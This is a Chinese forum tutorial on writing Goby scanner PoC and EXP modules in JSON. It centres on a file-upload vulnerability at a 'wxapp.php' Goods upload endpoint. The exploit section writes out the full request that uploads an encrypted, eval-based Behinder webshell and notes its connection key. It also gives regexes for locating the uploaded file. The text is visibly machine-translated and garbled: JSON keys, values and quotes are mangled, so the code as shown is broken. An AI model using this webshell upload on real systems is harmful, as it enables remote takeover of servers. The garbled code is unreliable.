本帖最后由 zhaorong 于 2021-11-4 16:07 编辑
前言
这几天师傅们都在提交 Goby 的 EXP,赶鸭子上架一边研究一边写 也写出来几个 写过程中遇到了很多问题
都记录下来。坑及调试的问题 再通过一个文件上传类poC/EXP来详细讲解。如果因为我自己也学习写什么
文章中的说法请大家及时有帮助。goby-win-x64 -1.8.275 PoC 使用json写。
0×01 一些调试遇到的问题
1.1 通过Burp代理获取Goby流量进行调试
在扫描设置中设置 Burp 的代理。
在设置完代理后最好重启一下,之后点击新建扫描->开始
Burp中就可以抓到包了。
注意:设置代理后提出小问题,开始扫描后抓不到POC验证的流量 主要是因为开启扫描后Goby先端口 协议资产
的识别再进行漏洞检测和就是这样。所以这里扫描的话建议设置打嗝为拦截是关闭的.因为本身我们需要抓取的是
的PoC的流量,这里扫描的流量就看个人需求了。(这里测试的只是打嗝的代理,我用的版本是1.6的 至于其他
的代理或者打嗝儿高峰期)
扫描结果如下图所示:
这时候看PoC的流量在修改PoC还有一个单ip扫描这里可以抓到PoC的流量
可以看到拦截到流量了
注意:这里也提出小问题,就是如果在 PoC 管理中测试 必须先建立扫描任务 然后再去
PoC管理测试。Burp 才可以抓到包。
还有几个小技巧一般是修改完成PoC后需要重启一下Goby。如果想要快速调试PoC包并观察流量
修改i完后可以点击返回到PoC管理页面再点击进来。
可以看到流量中明显变化了。
1.2 识别规则并调用 PoC
经过测试发现 Goby 的 PoC调用规则是先通过 PoC 写规则查询去如果查询到可以调用 PoC 进行扫描否则你
确定 PoC 也不会进行调用了。具体得查询规则可以查看 Goby 查询语法
这里就可以通过 PoC 管理手动测试的漏洞可以验证成功而通过扫描的地址无法检测到存在漏洞。
注意: CMS 需要定义一些自己的规则,例如 body="this is test" || title="管理登录"之类的
更容易发现直接扫描域名无法匹配到其规则如果扫描IP匹配到。
0×02写文件上传类PoC及EXP
接下来通过一个文件上传类的PoC/EXP来演示一个文件上传过程中遇到的问题。如:
- <?php echo md5(233);unlink(__FILE__);?>
复制代码
这样的话我们需要在 PoC 处发送内心请求第一次进行上传文件操作第二次对上传的文件
进行访问并验证在访问之后这个文件会自动删除。
下面贴出请求代码 讲解我通过代码块写出。
- “扫描步骤”:[
- “和”,
- {
- “要求”: {
- "方法": "POST",
- "uri": "/wxapp.php?controller=Goods.doPageUpload",
- “follow_redirect”:假,
- //header头的设置,这里最好还是通过Burp抓包把请求头写入防止请求出错
- “标题”:{
- "接受": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
- "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
- "Accept-Encoding": "gzip, deflate, br",
- "连接": "保持活动",
- “升级不安全请求”:“1”,
- “内容类型”:“多部分/表单数据;边界=----WebKitFormBoundary8UaANmWAgM4BqBSs”
- },
- "data_type": "文本",
- //post数据可以从Burp中直接复制,Goby的图形化界面直接复制进去,这里会自动生成
- "data": "\n------WebKitFormBoundary8UaANmWAgM4BqBSs\nContent-Disposition: form-d
- ata; name="upfile"; filename="test.php"\nContent-Type: image/gif\n \n<?php echo md5(233);unl
- ink(__FILE__);?>\n\n------WebKitFormBoundary8UaANmWAgM4BqBSs--"
- },
- “响应测试”:{
- "类型": "组",
- "操作": "AND",
- “检查”:[
- {
- "类型": "项目",
- "变量": "$code",
- “操作”:“==”,
- “价值”:“200”,
- "bz": ""
- },
- {
- "类型": "项目",
- "变量": "$body",
- "操作": "包含",
- "value": "image_o",
- "bz": ""
- }
- ]
- },
- “设置变量”:[
- //这里需要设置两个变量,通过正则匹配返回,为上传文件的路径
- "urlDir|lastbody|regex|image_o":".*goods\\\\/(.*?)\\\\/.*"",
- "urlDir2|lastbody|regex|image_o":".*goods\\\\/.*\\\\/(.*?)""
- ]
- },
- {
- “要求”: {
- "方法": "获取",
- //这里调用上面的两个变量去发送GET请求
- "uri": "/Uploads/image/goods/{{{urlDir}}}/{{{urlDir2}}}",
- “follow_redirect”:假,
- “标题”:{
- "接受": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
- "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
- "Accept-Encoding": "gzip, deflate, br",
- "连接": "保持活动",
- “升级不安全请求”:“1”
- },
- "data_type": "文本",
- “数据”: ””
- },
- “响应测试”:{
- "类型": "组",
- "操作": "AND",
- “检查”:[
- {
- "类型": "项目",
- "变量": "$code",
- “操作”:“==”,
- “价值”:“200”,
- "bz": ""
- },
- {
- "类型": "项目",
- "变量": "$body",
- "操作": "包含",
- "value": "e165421110ba03099a1c0393373c5b43",//判断页面是否有该md5值
- "bz": ""
- }
- ]
- },
- “设置变量”:[]
- }
- ],
复制代码
这里需要说一下下面的两句正则
- "urlDir|lastbody|regex|image_o":".*goods\\\\/(.*?)\\\\/.*"",
- "urlDir2|lastbody|regex|image_o":".*goods\\\\/.*\\\\/(.*?)""
复制代码
因为输出的文件地址是//Uploads/image/goods/2021-05-27/0206254881620132.php
如果写成这样
直接调用发送 GET 请求为 %5C/image%5C/goods%5C/2021-05-27%5C/02
06254881620132.php
法国请求会返回404
所以必须要删除除非最后的上传日期和文件名在变化,其他都没有前面可以写死通过正
则取到日期和文件名进行组合请求。
注意:如果使用json写,\这里必须通过两个\匹配,才能更好地匹配
“urlDir|lastbody|regex|image_o”:".goods\\/(.?)\\/.*"" 取出日期,结果为2021-05-27
“urlDir2|lastbody|regex|image_o”:".goods\\/.\\/(.*?)"" 取出文件名结果为 0206254881620132.php
然后通过“uri”:“/Uploads/image/goods/{{{urlDir}}}/{{{urlDir2}}}” 请求则返回成功
PoC 部分写完 下边看EXP 部分就比较简单了
- “利用步骤”:[
- “和”,
- {
- “要求”: {
- "方法": "POST",
- "uri": "/wxapp.php?controller=Goods.doPageUpload",
- “follow_redirect”:假,
- “标题”:{
- "接受": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
- "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
- "Accept-Encoding": "gzip, deflate, br",
- "连接": "保持活动",
- “升级不安全请求”:“1”,
- “内容类型”:“多部分/表单数据;边界=----WebKitFormBoundary8UaANmWAgM4BqBSs”
- },
- "data_type": "文本",
- "data": "\n------WebKitFormBoundary8UaANmWAgM4BqBSs\nContent-Disposition: form-data; na
- me="upfile"; filename="shell.php"\nContent-Type: image/gif\n \n<?php\n@error_reporting(0);sessi
- on_start();$key="e45e329feb5d925b";$_SESSION['k']=$key;$post=file_get_contents("php://input\ ");i
- f(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0 ;$i<strlen($pos
- t);$i++) {$post[$i] = $post[$i]^$key[$i+1&15];}}else{$post=openssl_decrypt($post, \ "AES128", $key);}
- $arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p ) {eval($p."\
- ");}}@call_user_func(new C(),$params);\n?>\n\n------WebKitFormBoundary8UaANmWAgM4BqBSs--"
- },
- “响应测试”:{
- "类型": "组",
- "操作": "AND",
- “检查”:[
- {
- "类型": "项目",
- "变量": "$code",
- “操作”:“==”,
- “价值”:“200”,
- "bz": ""
- },
- {
- "类型": "项目",
- "变量": "$body",
- "操作": "包含",
- "value": "image_o",
- "bz": ""
- }
- ]
- },
- “设置变量”:[
- "output|lastbody|regex|image_o":"(.*?)""
- ]
- }
- ],
复制代码
直接上传shell这里的数据数据通过Burp直接复制还是生成通过Goby的图形化界面复制进去会生成自动
换行符之类的。Exploit部分可以先通过PoC部分的图形化界面生成再复制进入下面利用 json 中。
图片世界为截图测试
这里需要输出shell地址和方式并且要删除地址和方式,这样的话就需要变量变量或者字符串导致...
- "ExpParams": [
- {
- "name": "webshellinfo",
- "type": "textarea",
- "value": "使用Behinder_v3.0 连接,密码超出",
- “展示”: ””
- }
- ],
复制代码
但是这样是不合规的 - -,因为 ExpParams 不是当做来的信息用的为了让 EXP 传参用的自行输出给 EXP
传参用的。是不行的 想要实现的话只能自己去写了。
0×03 总结
-.- 写过程中还是遇到了很多问题。有些问题解决了当然有些需求还是需要用写希望能帮助不会去语
言的小伙伴们通过json去还写PoC/EXP。最后感谢师傅给我们的指导~~~ |